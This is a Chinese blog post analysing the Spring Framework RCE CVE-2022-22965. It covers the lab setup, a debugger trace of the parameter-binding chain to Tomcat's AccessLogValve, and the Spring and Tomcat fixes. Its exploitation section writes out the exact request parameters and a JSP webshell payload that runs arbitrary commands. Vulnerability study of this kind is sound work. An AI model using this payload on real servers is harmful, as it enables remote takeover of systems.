• Spring 远程命令执行漏洞分析(CVE-2022-22965)


    0x00 前言

    最近想学习学习spring框架方面的漏洞。刚好今年上半年爆了一个spring框架的远程命令执行漏洞,随即赶紧来分析一波

    这个漏洞总的来说是因为:通过spring参数绑定处存在的缺陷使得可以修改tomcat的日志记录相关类AccessLogValve的成员变量从而达到修改tomcat日志记录的配置,最终导致写入jsp马

    0x01 环境搭建

    jdk 9.0.4

    tomcat 8.5.27(8.5.79漏洞测试失败)

    spring-beans 5.3.17

    spring-boot 2.7.1(内置为spring mvc 5.3.21)

    war包部署

    首先需要将源码打包成war

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NAXFO5fO-1660473500002)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105600737.png)]

    此时会在target目录下生成项目的war包

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UhyyTnl6-1660473500003)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105730032.png)]

    将其放置在tomcat/webapps/下面

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mRZdBV2Y-1660473500003)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105807946.png)]

    点击setart.bat启动tomcat此时就会生成对应的目录

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UMKdjXSw-1660473500003)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105851999.png)]

    修改目录名为ROOT使该项目运行在根路径下面

    访问项目,正常运行

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yBGkWFEE-1660473500004)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105934734.png)]

    远程调试

    此时我们需要用idea调试war包,怎么做呢

    首先给tomcat/bin/catalina.bat前面添加如下代码

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NlKruobX-1660473500004)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814110109801.png)]

    PS: 此处端口号一定要和idea中配置的端口号一致

    启动tomcat

    在源码处打开IDEA,点击配置,添加一个remote jvm debug,配置如下,必须与catalina.bat中配置的端口号相同

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YX2Q6v5V-1660473500004)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814110223069.png)]

    点击debug,当出现如下显示则说明远程调试搭建成功

    在这里打上断点

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sRSUkqNk-1660473500005)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814110350901.png)]

    访问/test?username=aaa时成功debug

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n18tBv42-1660473500005)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814110435012.png)]

    参考:https://blog.csdn.net/qq_38217294/article/details/121769266

    0x02 漏洞利用

    我们需要传入五个参数分别达到修改日志的目录、前缀、后缀、日期格式(即文件名前缀后面那部分)和日志格式

    class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

    class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar

    class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

    class.module.classLoader.resources.context.parent.pipeline.first.pattern=此处为webshell内容

    发送带有webshell的请求,此处使用header头是因为%>这种的字符放在请求参数中可能存在bug

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pKIaYzdJ-1660473500006)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814161726760.png)]

    其中class.module.classLoader.resources.context.parent.pipeline.first.pattern的值为%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

    PS:AccessLogValve输出的日志中可以通过形如%{xxx}i等形式直接引用HTTP请求和响应中的内容

    最终会在网站根目录webapps/ROOT下写入tomcatwar.jsp

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rcDsCIcQ-1660473500006)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814162212383.png)]

    访问/tomcatwar.jsp?pwd=j&cmd=whoami,成功getshell

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1es8JGOQ-1660473500006)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814162403318.png)]

    POC

    https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py

    0x03 漏洞分析

    spring从http请求中自动解析变量,并赋值给user对象,这就是Spring的参数绑定

    参数绑定支持多层嵌套,比如请求参数名为a.b.c.d时,则有以下的调用链:

    User.geta()
    	a.getb()
    		b.getc()
    			c.setd()
    
    • 1
    • 2
    • 3
    • 4

    具体spring是如何进行参数绑定的可以跟一下这篇文章,写的很详细

    https://blog.ninefiger.top/2022/04/02/Spring%20Framework%20RCE%E5%88%86%E6%9E%90/

    这里我大概讲一下

    首先说一下入口,tomcat处理好request对象后交给spring的DispatcherServlet#doDispatch方法

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ryOKndzw-1660473500007)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814163709086.png)]

    跟入ha.handle,这里一路跟下去到dobind开始讲解,中间的部分可以参考https://blog.ninefiger.top/2022/04/02/Spring%20Framework%20RCE%E5%88%86%E6%9E%90/

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7jlTtFEZ-1660473500007)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814163441050.png)]

    来到doBind后可以看到mpvs中包含了请求的参数

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o6HdE7UC-1660473500007)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814163818603.png)]

    跟进后,可以看到applyPropertyValues,大概能猜到在这里进行参数的赋值

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5eLr7Mf7-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814163942969.png)]

    跟进applyPropertyValues,可以看到this.getPropertyAccessor()是User的包装类,然后调用setPropertyValues给User赋值

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lMBA9zhi-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814164043634.png)]

    跟进setPropertyValues,可以看到对propertyValues进行遍历(这里的propertyValues就是之前那个mpvs),对每一个PropertyValue进行参数绑定

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qzFPGGac-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814164404935.png)]

    跟入setPropertyValue,这个函数非常关键,这个getPropertyAccessorForPropertyPath就是获取参数key表示的最终包装类。

    比如参数key为class.module.classLoader.resources.context.parent.pipeline.first.directory。则这里的nestPa就是getfirst()返回值即Accesslogvalve的包装类,然后调用其setPropertyValue给directory赋值

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mMOvHapO-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814165844794.png)]

    getPropertyAccessorForPropertyPath

    这里我们跟进getPropertyAccessorForPropertyPath看看它到底是怎么做的,此时传入的propertyName为class.module.classLoader.resources.context.parent.pipeline.first.directory

    这里也可以参考麦兜师傅的文章:https://paper.seebug.org/1877/#_3

    getPropertyAccessorForPropertyPath(String):该方法通过递归调用自身,实现对class.module.classLoader.resources.context.parent.pipeline.first.pattern的递归解析,设置整个调用链。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H11JmrSv-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814170303836.png)]

    跟进后,首先计算第一个.出现的位置,这里计算出来是5,然后按点分割。此时nestedProperty为class,nestedPath为module.classLoader.resources.context.parent.pipeline.first.directory。注意这里的this为user的包装类

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t3C7X5YL-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814170449168.png)]

    然后在getNestedPropertyAccessor方法,这个方法会返回class的包装类,跟进去看一下

    跟进getPropertyValue,其中tokens在是nestedProperty的格式化效验,也就是参数中的id

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qzMog2FK-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171105167.png)]

    跟进getLocalPropertyHandler

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UmZLhooI-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171137624.png)]

    this为user的包装类,这里可以理解为获取user类的class成员变量的属性描述器,里面有属性的get/set方法,可以对该属性进行一些修改操作

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bX9d43Ts-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171507852.png)]

    然后对其包装一下并返回给ph,回到上层来到ph.getValue

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UUC3NeA1-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171628865.png)]

    跟入getValue,来到了最后的地方了。class的包装类获取自己的get函数然后反射调用从而达到获取class对象

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yORfIHnI-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171922247.png)]

    回到上一层,此时我们有了class对象了,然后return回去

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8xp8BpA8-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814172408365.png)]

    回到上一层,给class对象包装一下继续返回

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wv3eFYbr-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814172516287.png)]

    回到了刚开始的地方,这里的nestedPa就是class对象的包装类。然后调用nestedPa.getPropertyAccessorForPropertyPath,再次进入该函数,但是此时this就变成了class对象的包装类而不是user对象了。寻找下一个点然后分割字符串

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TyeN36qj-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814172655423.png)]

    此时getNestedPropertyAccessor就是为了获取module的包装类了,和上面的步骤一样先获取class中module的属性描述符然后从中拿到module的getter方法,反射调用getter最终获得module对象然后包装一下返回给nestedPa。可以看到nestedPa是module的包装类

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cdK0VCYw-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814172758920.png)]

    再调用getPropertyAccessorForPropertyPath方法,就获取到了classloder的包装类。

    注意这里的classloader实际上是parallelwebappclassloader,只有在war包部署的情况下才会返回的是parallelwebappclassloader

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eTHtFAf6-1660473500011)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814173014425.png)]

    这里也是跳向tomcat的关键,module对象是java.lang包下的,而parallelwebappclassloader是tomcat-embed-core包下的。实现了从spring跳向了tomcat,接下来就是一步步获取tomcat内置的Accesslogvalve类

    class.module.classLoader.resources.context.parent.pipeline.first.directory

    我们现在走到了classloder这一步,接下来继续调用getPropertyAccessorForPropertyPath获取resource,this.getNestedPropertyAccessor也就是执行parallelwebappclassloader#getresources

    可以看到拿到了standroot的包装类

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iZRhhG1R-1660473500011)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814173835727.png)]

    继续getPropertyAccessorForPropertyPath,等同于standroot#getcontext,获得standcontext的包装类

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MpvzZ84x-1660473500011)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814173921447.png)]

    继续getPropertyAccessorForPropertyPath,等同于standcontext#getparent,获得standHost的包装类

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ql2wK5uW-1660473500011)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174024861.png)]

    继续getPropertyAccessorForPropertyPath,等同于standHost#getpipeline,获得standpipeline的包装类

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ook3zpQ7-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174120832.png)]

    继续getPropertyAccessorForPropertyPath,等同于standpipeline#getfirst,终于拿到了Accesslogvalve的包装类

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6cQ4gl6k-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174210103.png)]

    继续getPropertyAccessorForPropertyPath,因为字符串已经没点了,所以进入else分支返回Accesslogvalve的包装类

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yj9aVWLO-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174338743.png)]

    一路返回回去,回到setPropertyValue,此时nestedPa就是Accesslogvalve的包装类

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HUBYrViN-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174538322.png)]

    setPropertyValue

    此时利用Accesslogvalve包装类的setPropertyValue赋值

    其中pv如下,这样就使得Accesslogvalve对象的directory值变为了webapps/ROOT

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-56gPElab-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174631395.png)]

    同样的发送class.module.classLoader.resources.context.parent.pipeline.first.pattern = %{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i时就会让Accesslogvalve对象的pattern值变为参数的value,其中%{c2}i 会从header中取出对应的并替换这里

    总结

    class.module.classLoader.resources.context.parent.pipeline.first.pattern=此处为webshell内容

    按照上述调试方法,依次调试完所有的递归轮次并观察相应的变量,最终可以得到如下完整的调用链:

    User.getClass()   //Class
        java.lang.Class.getModule()   //module
            java.lang.Module.getClassLoader()   //parallelwebappclassloader
                org.apache.catalina.loader.ParallelWebappClassLoader.getResources()   //standRoot
                    org.apache.catalina.webresources.StandardRoot.getContext()   //standContext
                        org.apache.catalina.core.StandardContext.getParent()   //standHost
                            org.apache.catalina.core.StandardHost.getPipeline()   //standPipeline
                                org.apache.catalina.core.StandardPipeline.getFirst()   //AccessLogValve
                                    org.apache.catalina.valves.AccessLogValve.setPattern()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    正如漏洞利用那块所说

    我们需要传入五个参数分别达到修改日志的目录、前缀、后缀、日期格式(即文件名前缀后面那部分)和日志格式

    class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

    class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar

    class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

    class.module.classLoader.resources.context.parent.pipeline.first.pattern=此处为webshell内容

    这样就可以使得tomcat的日志输出内容为我们定制的webshell并且日志后缀为jsp并且文件名为tomcatwar并且保存在网站根目录下

    0x04 利用关键点

    Web应用部署方式

    必须要是以war包的部署方式

    ParallelWebappClassLoader在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用,在这种方式下,我们看下classLoader嵌套参数被解析为什么,如下图:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XC0y5JQn-1660473500013)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814175933456.png)]

    这个并不是我们想要的classloder,其没有getResources方法

    JDK版本

    必须得是jdk 9以上的版本,因为在jdk9以下的版本中Class并没有module属性。从而无法获取classloder对象

    但是还可以通过class.getclassloder获取classloder对象呀,为什么要用class.module.classloder而不用class.classloder呢?

    因为在spring做了安全保护,不允许获得class的classloder属性描述器,从而就无法反射调用getclassloder获取classloder对象

    在JDK 1.9之后,Java为了支持模块化,在java.lang.Class中增加了module属性和对应的getModule()方法,自然就能通过如下调用链绕过判断:

    user.getClass()
        java.lang.Class.getModule() 
            java.lang.Module.getClassLoader()  // 绕过
                BarClassLoader.getBaz()
                    ......
    
    • 1
    • 2
    • 3
    • 4
    • 5

    这块麦兜师傅说的很清楚了:https://paper.seebug.org/1877/#_4

    0x05 修复措施

    Spring 5.3.18修复

    可以看到在获取对象的属性描述符时更改了判断逻辑。现在是获取Class对象的属性描述器时只能获取到name和以Name结尾的属性的属性描述器了,所以说就获取不到module的属性描述器了,从而无法getmodule。利用java.lang.Class.getModule()的路子就走不通了。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J0GT6BHo-1660473500013)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814181407764.png)]

    Tomcat 9.0.62修复

    将ParallelWebappClassLoader父类WebappClassLoaderBase的getResource方法修改为直接返回null

    堵住了class.module.classLoader.resources

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PoYJeOo1-1660473500013)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814181721359.png)]

    0x06 总结

    总的来说就是spring在进行参数绑定时支持嵌套绑定,使得形如class.module.classLoader.resources.context.parent.pipeline.first.pattern这样的参数可以穿越修改AccessLogvlave的pattern属性,从而导致tomcat的日志配置被修改。通过该方式修改日志的内容以及文件名达到写马的目的

    • 明白spring参数绑定的流程,主要在getPropertyAccessorForPropertyPath和setPropertyValue

    举个例子:对于class.module.classLoader.resources.context.parent.pipeline.first.pattern = xxxx

    在getPropertyAccessorForPropertyPath中可以理解为首先从user中获取class的属性描述器,然后从属性描述器中获取getclass方法然后反射调用user#getclass获取class对象。然后从class中获取module的属性描述器,然后从属性描述器中获取getmodule方法然后反射调用class#getmodule获取module对象。然后从module中获取classLoader的属性描述器,然后从属性描述器中获取getclassLoader方法然后反射调用module#getclassLoader获取classLoader对象。。。。。。。。。。最终反射调用standpipeline#getfirst获取AccessLog对象

    然后调用AccessLog对象包装类的setPropertyValue方法设置AccessLog.pattern的值为xxxx

    • 在此基础上可以很容易理解payload是如何修改AccessLogvlave属性值的

    0x07 参考文章

    https://paper.seebug.org/1877

    https://blog.ninefiger.top/2022/04/02/Spring%20Framework%20RCE%E5%88%86%E6%9E%90/

    https://www.kingkk.com/2022/04/CVE-2022-22965-SpringFramework-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

    https://www.anquanke.com/post/id/272149

    https://tttang.com/archive/1532/

    https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Logging

    https://johnfrod.top/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0/spring-beans-rce%EF%BC%88cve-2022-22965%EF%BC%89/

  • 相关阅读:
    驱动开发:内核枚举LoadImage映像回调
    openai有什么好的框架可以用来肺结节检测
    LeetCode102.二叉树的层序遍历
    因误删文件导致CentOS7开机卡死无法进入图形登录界面
    EasyPoi导出复杂Excel
    SourceTree 这是一个无效的源路径/URL
    element ui多选框(Checkbox 多选框、Select多选框)编辑时无法选中的解决办法
    SpringSecurity授权流程(自己做笔记用的)
    听GPT 讲Rust源代码--src/librustdoc(2)
    首发出炉Yolov5/Yolov7涨点神器:华为诺亚2023极简的神经网络模型 VanillaNet---VanillaBlock助力检测,实现暴力涨点
  • 原文地址:https://blog.csdn.net/weixin_43263451/article/details/126334804